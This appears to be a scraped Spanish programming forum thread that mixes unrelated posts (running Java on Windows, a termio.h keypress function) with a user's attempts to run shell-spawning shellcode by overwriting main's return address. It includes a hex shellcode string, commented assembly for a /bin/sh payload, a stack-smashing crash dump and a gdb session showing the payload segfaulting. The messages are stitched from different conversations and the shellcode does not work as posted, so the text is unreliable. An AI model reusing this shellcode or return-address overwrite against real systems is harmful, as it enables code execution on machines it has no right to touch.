Mensajes

Hola, estuve programando en java en linux.
Pero ahora en windows no se como, una vez compilado el código, puedo ejecutar el archivo.class
En linux era muy fácil porque con solo poner: java programax   en la linea de comandos ya funcionaba.

windows.h tampoco es estandar

Perdón. termio.h no es estandar. Tal vez por eso al compilar no habeis podido. Ya os dire.

Hola. Tu pregunta es muy interesante. Googleando me encontre esto que te ayudara seguro:
http://www.espaciolinux.com/foros/programacion/leer-una-pulsacion-del-teclado-t5147.html
El codigo es este.

Código (cpp) [Seleccionar] Expandir

/***
* kpress.c
*
* (c) 2004 ackbar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termio.h>
#include <sys/ioctl.h>

#define STDINFD  0
#undef getc

char inkey(void);

int main() {
 char c;
 printf("Presione una tecla: ");
 c=inkey();
 printf("Codigo ASCII de la tecla presionada: [%d] Caracter: [%c]\n",c,c);
 return 0;
}

char inkey(void) {
 char c;
 struct termio param_ant, params;

 ioctl(STDINFD,TCGETA,&param_ant);

 params = param_ant;
 params.c_lflag &= ~(ICANON|ECHO);
 params.c_cc[4] = 1;

 ioctl(STDINFD,TCSETA,&params);

 fflush(stdin); fflush(stderr); fflush(stdout);
 read(STDINFD,&c,1);

 ioctl(STDINFD,TCSETA,&param_ant);
 return c;
}
/* EOF: kpress.c */


Yo aun no lo entiendo del todo pero puedes sutituir el codigo ensamblador por la funcion inkey(). Las libreria que usa son estandar.
тαптяαпсє esa sintaxis no es AT&T y por lo tanto no compila ni de coña en gcc xD.
La desventaja del codigo ensamblador es que depende del pc en use se use.
La función inkey() podra ser usada en cuanquier pc por que ademas de ser C, usa librerias estandar no como getch() de conio.h
Voy aver si consigo entender la definicion de la función inkey.
Muy buena prugunta neo_from_cs_matrix.

Mira lo que dice el cabroncete del texto anterior 

Como veremos mas adelante las cosas se han puesto bastante dificiles. Se ha
añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun
mas dificultades. Definitivamente el tipico exploit_base.c en el que
modificando cuatro valores tenias un exploit funcional ha pasado a la
historia.

Para calcular ese numero he hecho lo siguiente:
He contado los bytes de la cadena y me da justamente 64.
He observado que cuando yo ponia +2 luego en gdb ponia +0x10 que son 16. Por eso va de 8 en 8. Entonces he dividido 64/8=8 y luego 8+2 =10.
por eso he puesto :
ret+=10;

Pero algo extraño pasa:

Código [Seleccionar] Expandir

tuket@tuket-desktop:~$ ./a.out
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x37)[0x7f0d2ff73217]
/lib/libc.so.6(__fortify_fail+0x0)[0x7f0d2ff731e0]
./a.out[0x400805]
/lib/libc.so.6(__libc_start_main+0xfd)[0x7f0d2fe92c4d]
./a.out[0x400699]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 3670187                            /home/tuket/a.out
00600000-00601000 r-xp 00000000 08:02 3670187                            /home/tuket/a.out
00601000-00602000 rwxp 00001000 08:02 3670187                            /home/tuket/a.out
00e52000-00e73000 rwxp 00000000 00:00 0                                  [heap]
7f0d2fe74000-7f0d2ffee000 r-xp 00000000 08:02 917651                     /lib/libc-2.11.1.so
7f0d2ffee000-7f0d301ed000 ---p 0017a000 08:02 917651                     /lib/libc-2.11.1.so
7f0d301ed000-7f0d301f1000 r-xp 00179000 08:02 917651                     /lib/libc-2.11.1.so
7f0d301f1000-7f0d301f2000 rwxp 0017d000 08:02 917651                     /lib/libc-2.11.1.so
7f0d301f2000-7f0d301f7000 rwxp 00000000 00:00 0
7f0d301f7000-7f0d3020d000 r-xp 00000000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3020d000-7f0d3040c000 ---p 00016000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3040c000-7f0d3040d000 r-xp 00015000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3040d000-7f0d3040e000 rwxp 00016000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3040e000-7f0d30490000 r-xp 00000000 08:02 918093                     /lib/libm-2.11.1.so
7f0d30490000-7f0d3068f000 ---p 00082000 08:02 918093                     /lib/libm-2.11.1.so
7f0d3068f000-7f0d30690000 r-xp 00081000 08:02 918093                     /lib/libm-2.11.1.so
7f0d30690000-7f0d30691000 rwxp 00082000 08:02 918093                     /lib/libm-2.11.1.so
7f0d30691000-7f0d30787000 r-xp 00000000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d30787000-7f0d30987000 ---p 000f6000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d30987000-7f0d3098e000 r-xp 000f6000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d3098e000-7f0d30990000 rwxp 000fd000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d30990000-7f0d309a5000 rwxp 00000000 00:00 0
7f0d309a5000-7f0d309c5000 r-xp 00000000 08:02 917559                     /lib/ld-2.11.1.so
7f0d30b9d000-7f0d30ba1000 rwxp 00000000 00:00 0
7f0d30bc2000-7f0d30bc4000 rwxp 00000000 00:00 0
7f0d30bc4000-7f0d30bc5000 r-xp 0001f000 08:02 917559                     /lib/ld-2.11.1.so
7f0d30bc5000-7f0d30bc6000 rwxp 00020000 08:02 917559                     /lib/ld-2.11.1.so
7f0d30bc6000-7f0d30bc7000 rwxp 00000000 00:00 0
7fff885b8000-7fff885cd000 rwxp 00000000 00:00 0                          [stack]
7fff885ff000-7fff88600000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Abortado
tuket@tuket-desktop:~$


Es como si se diera cuanta de que intento desbordar la pila.
Oh mira lo que he encontrado: http://www.exploit-db.com/papers/13065/
Aver si esto me da pistas

Gracias por tu respuesta Ivanchuk.
Supongo que eso sera para meter datos en la pila en vez de en la sección data.
Es muy buena idea. Lo he dejado asi.

Código [Seleccionar] Expandir

int main(){

char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/ed";

long *ret;
ret= (long*)&ret;
ret+=2;
*ret =(long)hole;

}

Ahora lo que pasa es que debe de calcular la nueva direccion de retorno. Por que como se han introducido datos en la pila la direccion de ret ya no estara a +2 de la direccion de retorno de main. Es dicir en vez de poner ret+=2 tendria que poner ese numero.Aver si lo puedo calcular. Muchas gracias 

Maldita sea ahora tengo otro problema.
Al final tengo el código así:

Código (cpp) [Seleccionar] Expandir

#include<iostream>
using namespace std;
//void funcion();

char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/edx";
int main(){

long *ret;
ret= (long*)&ret;
ret+=2;
*ret = (long)hole;

}

/*void funcion(){
    asm("jmp    *0x29(%rip);"
        "popq   %rsi;"
        "xorq   %rax,%rax;"
        "movb   %al,0x7(%rsi);"
        "movq   %rsi,0x8(%rsi);"
        "movq   %rax,0xc(%rsi);"
        "movb   $0xb,%al;"
        "movq   %rsi,%rbx;"
        "leaq   0x8(%rsi),%rcx;"
        "leaq   0xc(%rsi),%rdx;"
        "int    $0x80;"
        "xorq   %rax,%rax;"
        "xorq   %rbx,%rbx;"
        "inc    %rax;"
        "int    $0x80;"
        "call   *-0x2f(%rip);"
        ".string \"/bin/shxxx\";");
}*/



Ahora tengo un error super raro. He conseguido que la dirección de retorno de main pase a la dirección de hole[] para poder ejecutar la shellcode.
Pues bien, ahora el error(segmentation faoult)esta dentro de la shellcode, ¡en la 1º linea de la shellcode! Mirad:

Código [Seleccionar] Expandir

(gdb) run
Starting program: /home/tuket/a.out

Breakpoint 1, 0x00000000004006e8 in main ()
(gdb) stepi
0x00000000004006ec in main ()
(gdb)
0x00000000004006f0 in main ()
(gdb)
0x00000000004006f4 in main ()
(gdb)
0x00000000004006f8 in main ()
(gdb)
0x00000000004006fc in main ()
(gdb)
0x0000000000400700 in main ()
(gdb)
0x0000000000400705 in main ()
(gdb)
0x0000000000400708 in main ()
(gdb)
0x000000000040070d in main ()
(gdb)
0x000000000040070e in main ()
(gdb)
0x0000000000601060 in hole ()
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x0000000000601060 in hole ()
(gdb) disassemble 0x0000000000601060
Dump of assembler code for function hole:
=> 0x0000000000601060 <+0>: push   %rbp
   0x0000000000601061 <+1>: mov    %rsp,%rbp
   0x0000000000601064 <+4>: jmpq   *0x29(%rip)        # 0x601093 <hole+51>
   0x000000000060106a <+10>: pop    %rsi
   0x000000000060106b <+11>: xor    %rax,%rax
   0x000000000060106e <+14>: mov    %al,0x7(%rsi)
   0x0000000000601071 <+17>: mov    %rsi,0x8(%rsi)
   0x0000000000601075 <+21>: mov    %rax,0xc(%rsi)
   0x0000000000601079 <+25>: mov    $0xb,%al
   0x000000000060107b <+27>: mov    %rsi,%rbx
   0x000000000060107e <+30>: lea    0x8(%rsi),%rcx
   0x0000000000601082 <+34>: lea    0xc(%rsi),%rdx
   0x0000000000601086 <+38>: int    $0x80
   0x0000000000601088 <+40>: xor    %rax,%rax
   0x000000000060108b <+43>: xor    %rbx,%rbx
   0x000000000060108e <+46>: inc    %rax
   0x0000000000601091 <+49>: int    $0x80
   0x0000000000601093 <+51>: callq  *-0x2f(%rip)        # 0x60106a <hole+10>
   0x0000000000601099 <+57>: (bad) 
   0x000000000060109a <+58>: (bad) 
   0x000000000060109b <+59>: imul   $0x786465,0x2f(%rsi),%ebp
End of assembler dump.
(gdb)

Como podréis observar el segmentation fault aparece en la 1º linea de la shellcode y esa linea tiene un push.¿Como demonios puede dar segmentation fault un maldito push que simplemente introduce un dato en la pila?
Ayudadme que estoy desesperao xD

Pues no, no lo tengo pero casi.
Necesito más tiempo. Ya os contare.
Todavía se admiten respuestas y sugerencia

Mmm...  creo que ya lo tengo. Pero tengo sueño mañana os cuento que ya es tarde.